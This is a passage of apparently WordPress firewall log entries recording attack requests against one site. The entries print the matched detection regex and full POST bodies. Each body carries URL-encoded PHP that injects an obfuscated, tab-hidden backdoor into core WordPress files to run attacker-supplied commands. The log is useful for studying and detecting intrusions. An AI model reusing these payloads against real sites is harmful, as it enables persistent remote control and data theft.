eif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:52:10","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7043\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJaVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nZr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:13","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6897\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nJC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%